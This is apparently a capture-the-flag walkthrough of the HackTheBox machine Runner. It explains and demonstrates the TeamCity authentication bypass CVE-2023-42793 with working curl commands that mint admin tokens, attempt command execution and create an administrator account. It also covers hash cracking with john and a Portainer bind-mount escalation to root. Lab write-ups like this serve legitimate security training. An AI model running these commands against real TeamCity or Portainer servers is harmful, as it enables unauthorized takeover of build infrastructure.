HackTheBox | Runner

In this walkthrough, I demonstrate how I obtained complete ownership of Runner on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned Runner from Hack The Box!
I have just owned machine Runner from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Wed Apr 24 17:57:49 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.11.13
Nmap scan report for 10.10.11.13
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 24 17:58:25 2024 -- 1 IP address (1 host up) scanned in 35.78 seconds

We can see the redirect to http://runner.htb on tcp/80, so let's go ahead and add that to our /etc/hosts file.

echo '10.10.11.13        runner.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Gobuster Enumeration

Directory and File Enumeration

gobuster dir -u http://runner.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -x php,html,txt -o gobuster-80.txt
/assets               (Status: 301) [Size: 178] [--> http://runner.htb/assets/]
/index.html           (Status: 200) [Size: 16910]

Virtual Host Enumeration

gobuster vhost -k --domain runner.htb --append-domain -u 10.10.11.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
ℹ️
Nothing interesting from gobuster time to move on for now and come back later if needed.



TCP/8000

Gobuster Enumeration

Directory and File Enumeration

gobuster dir -u http://runner.htb:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o gobuster_8000.txt
/health               (Status: 200) [Size: 3]
/version              (Status: 200) [Size: 9]
ℹ️
Neither of these pages has output that is very interesting

Virtual Host Enumeration

gobuster vhost -k --domain runner.htb --append-domain -u 10.10.11.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
ℹ️
Nothing interesting from gobuster time to move on for now and come back later if needed.



NSCA Client Test

sudo apt install -y nsca-client
send_nsca -H runner.htb -p 8000
ℹ️
The NSCA client was timing out on this port and others and seemed like a dead end



Expanded Enumeration

💡
I'm coming up empty-handed on my initial enumeration attempts. We have two HTTP servers and one SSH server. The way in is not going to be SSH, so we need to try bigger word lists, where the initial lists I used were smaller to begin with.

Gobuster Enumeration

Directory and File Enumeration

I retried the directory and file enumeration with the /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt word list, but came back with the same two results.

Virtual Host Enumeration

I retried the virtual host enumeration with the /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt word list and found a hit!

gobuster vhost -k --domain runner.htb --append-domain -u http://10.10.11.13 -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt --exclude-length 166 -t 100
Found: teamcity.runner.htb Status: 401 [Size: 66]
echo '10.10.11.13        teamcity.runner.htb' | sudo tee -a /etc/hosts

Add the hostname to /etc/hosts

teamcity 129390 cve - Google Search
Metasploit Weekly Wrap-Up: Sep. 29, 2023 | Rapid7 Blog
This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. Learn more.
This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue.
JetBrains TeamCity Authentication Bypass Vulnerability | SonicWall
Overview SonicWall Capture Labs Threat Research Team became aware of the threat, assessed its impact, and developed mitigation measures for JetBrains TeamCity Server. JetBrains TeamCity, a robust continuous integration (CI) and continuous deployment (CD) server, […]

The company that found the vulnerability

CVE-2023-42793 | AttackerKB
CVE-2023-42793 is a critical authentication bypass published on September 19, 2023 that affects on-premises instances of JetBrains TeamCity, a CI/CD server. Th…

Rapid7 researcher adds more analysis in AttackerKB





Exploit

Making Sense of the Exploit

In Java, interceptors have the role catching HTTP requests before they hit the requested URL path and performing certain actions on the HTTP request. These actions include:

  • Logging
  • Authentication
  • Authorization
  • Adding HTTP headers
  • Etc.
https://securitynews.sonicwall.com/wp-content/uploads/2023/10/RequestInterceptor.png

The myInterceptors.addAll(paramList) method adds the custom interceptors developed by the JetBrains team. However, they add some exceptions to the list using the myPreHandlingDisabled.addPath() method. This means that if the URL contains:

  • /**/RPC2
  • /app/agents/**

Then, these URLs completely bypass the custom interceptors. The ** in this case is a globbing wildcard pattern that matches on anything after / and before /RPC2.

ℹ️
This means that any URL path starting at the site index and ending in RPC2 will bypass the authentication and authorization interceptors.
https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis

These templated URLs as defined in the REST API will construct a URL based on the user-supplied input. Therefore, the URL of http://teamcity.domain.tld/app/rest/users/id:1/tokens/RPC2 will template URL with:

  • {userLocator} = id:1 username
  • {name} = {RPC2}

Effectively, it's building a URL for us that ends in RPC2, satisfying the conditions for this authentication bypass and allowing us to get a token for a user without logging in.



Manual Exploitation

Requesting an API Token

curl -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
💡
The token already exists, because someone else has already performed the exploit and generated a token for this user. However, we can simply delete the token and generate a new one.
curl -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
Nice! We have an API token for user with id:1 (most likely the admin)



Testing the RCE Exploit

        case target['Platform']
        when 'win'
          vars_get['exePath'] = 'cmd.exe'
          vars_get['params'] = '/c'
          vars_get['params'] = payload.encoded
        when 'linux'
          vars_get['exePath'] = '/bin/sh'
          vars_get['params'] = '-c'
          vars_get['params'] = payload.encoded
        end

        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri('/app/rest/debug/processes'),
          'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
          'headers' => {
            'Authorization' => "Bearer #{token}",
            'Content-Type' => 'text/plain'
          },

Snippet from http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html

Borrowing inspiration from the Metasploit payload, we can see that we need to make a HTTP POST request to /app/rest/debug/processes with a body containing exePath and any params arguments as needed.

# Pre-emptively delete the API token
curl -si -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2

# Get a new token and store it in this variable
token=$(curl -s -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2 | tr ' ', '\n' | grep value | cut -d '"' -f 2)

# Craft the API authentication header
auth_header="Authorization: Bearer $token"

# Create the debug process and attempt to ping my VPN IP
curl -si -X POST -H 'Content-Type: text/plain' -H $auth_header 'http://teamcity.runner.htb/app/rest/debug/processes' --data-urlencode 'exePath=/bin/bash&params=-c&params=ping -c 3 10.10.14.159'

No luck, it appears we do not have permission to this API endpoint, as we've received a HTTP 400 response indicating that this API has not been enabled. Let's see if there's another way in via the API.



Create a TeamCity Administrator

💡
I am not the least bit familiar with the TeamCity product or its REST API, so I asked Bing CoPilot to generate a JSON payload to create an admin user.

Let's use the same curl commands from before, but just slightly tweak the payload.

nano payload.json
{
  "email": "test123@localhost.local",
  "name": "test123",
  "username": "test123",
  "password": "T3$T_t3$t_123!",
  "roles": {
      "role": [{
        "roleId": "SYSTEM_ADMIN",
        "scope": "g"
      }]
  }
}
# Pre-emptively delete the API token
curl -si -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2

# Get a new token and store it in this variable
token=$(curl -s -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2 | tr ' ', '\n' | grep value | cut -d '"' -f 2)

# Craft the API authentication header
auth_header="Authorization: Bearer $token"

# Create the TeamCity system admin with the payload.json file
curl -si -X POST -H 'Content-Type: application/json' -H $auth_header 'http://teamcity.runner.htb/app/rest/users' --data @payload.json



Exploring TeamCity for more Information

Click on 'Administration'
Click 'Backup'
Click 'History' and download the file
Permission denied? I think not...
cd TeamCity && chmod -R u+rw .
That's better
echo 'matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em' > hash
echo 'john:$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye' >> hash
john --wordlist=rockyou.txt hash
Matthew's hash falls quickly
Password doesn't work for SSH access
I saw the SSH Manager plugin in the admin interface, so check for this
I'm going to store this SSH key at the root of my project folder for now
The key doesn't appear to work for the user matthew
However, it does work for john





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
    
Linux runner 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1001(john) gid=1001(john) groups=1001(john)
Sorry, user john may not run sudo on runner.



Users and Groups

Local Users

matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash    

Local Groups

matthew:x:1000:
john:x:1001:    



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:01:21 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.13/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:121/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:121/64 scope link 
       valid_lft forever preferred_lft forever
3: br-21746deff6ac: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:d2:77:78:a7 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-21746deff6ac
       valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:1b:a0:df:e1 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:1bff:fea0:dfe1/64 scope link 
       valid_lft forever preferred_lft forever
6: veth6ff382b@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 5a:e5:21:16:96:83 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::58e5:21ff:fe16:9683/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -    



Interesting Files

/etc/nginx/sites-available/portainer

server {
    listen 80;
    server_name portainer-administration.runner.htb;

    location / {
        proxy_pass https://localhost:9443;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}    





Privilege Escalation

Portainer

During the post-exploit enumeration phase, we found references to the portainer-administrator.runner.htb virtual host. Let's add it to our /etc/hosts file.

echo '10.10.11.13        portainer-administrator.runner.htb' | sudo tee -a /etc/hosts

Earlier, we cracked the hash for matthew but couldn't find any avenues to use the credential until now.

Bind Mount via Portainer

Since Portainer is a web front end to managing the host Docker stack, we can abuse many of the same privileges as running the native docker binary. For example, if we were able to run the native docker binary, we might specify:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

In this case, -v /:/mnt mounts / from the host to /mnt inside the container. Let's explore how to do this in Portainer.

Click the primary stack
Click 'Volumes'
Create the bind mount that maps to / on the host
The volume has been created
Click 'images'
Note the ubuntu:latest image
Click 'Containers'
Click 'Add container'
First, scroll down and configure the container launch commands
Next, map our volume from before
Finally, fill out and deploy the container
Click the >_ icon
Click 'Connect'



Flags

User

9f08a11262ffa1adddaa23101b15564b    

Root

04ffaaa267d80278cca9e3e94c6cc9b4    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.